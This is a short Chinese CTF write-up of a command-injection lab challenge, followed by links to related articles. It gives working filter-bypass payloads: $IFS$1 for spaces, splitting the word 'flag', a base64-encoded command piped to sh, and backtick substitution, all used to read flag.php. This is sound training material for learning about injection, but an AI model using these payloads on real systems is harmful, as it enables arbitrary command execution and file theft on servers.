打开靶机
结合题目名称，考虑是命令注入，试试ls
结果应该就在flag.php。尝试构造命令注入载荷。 cat flag.php
可以看到过滤了空格,用 $IFS$1替换空格
还过滤了flag，我们用字符拼接的方式看能否绕过,a=g;cat$IFS$1fla$a.php。注意这里用分号间隔，所以不能用管道符连接了。
可以看到flag了。这里有个坑，这段是纯php代码，所以在页面上没有显示出来，要注意观察界面的源码。
其实可以先看一下index.php
基本上可以看到过滤了哪些内容。所以还可以用base64编码绕过过滤
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
既然ls能把flag找出来， 则还可以利用内联的方式获取flag cat$IFS$1`ls`
放一个命令注入的介绍：命令注入以及常见绕过方式_命令注入如何绕过空色-CSDN博客
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabyUpload<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/9e4d749c17ee4e5780f7b5ee885a9e9b.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabySQli <span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/91c28d519b114ecd8ddefe25e273a1f6.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]禁止套娃<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/242ea6f058e54e118fe21f9244452108.png)
![无参RCE [<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]禁止套娃<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/c127b20174cb424ba8d46dde12a03edf.png)
![[<span style='color:red;'>GXYCTF</span> <span style='color:red;'>2019</span>]BabyUpload](https://img-blog.csdnimg.cn/direct/61643d3532ef4273ad4c0014311485c5.png#pic_center)
![BUUCTF——[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabyUpload](https://img-blog.csdnimg.cn/direct/7cfb4e8765684478a0eb01aca3ed059a.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabyUpload-BUUTF](https://img-blog.csdnimg.cn/direct/c36a1addefe644a9a04a9eebb1acbc1a.png)
![[<span style='color:red;'>GXYCTF</span> <span style='color:red;'>2019</span>]BabyUpload](https://img-blog.csdnimg.cn/direct/6fd1f16627ee4c188e212f8ed217e6ec.png)
![[<span style='color:red;'>GXYCTF</span><span style='color:red;'>2019</span>]BabySQli](https://i-blog.csdnimg.cn/direct/fe36ffd77aa642e8a078c1c496ae785c.png)
![[web]-反序列化漏洞-easy入门](https://i-blog.csdnimg.cn/direct/3635d721678248d493f6de6c980346aa.png)
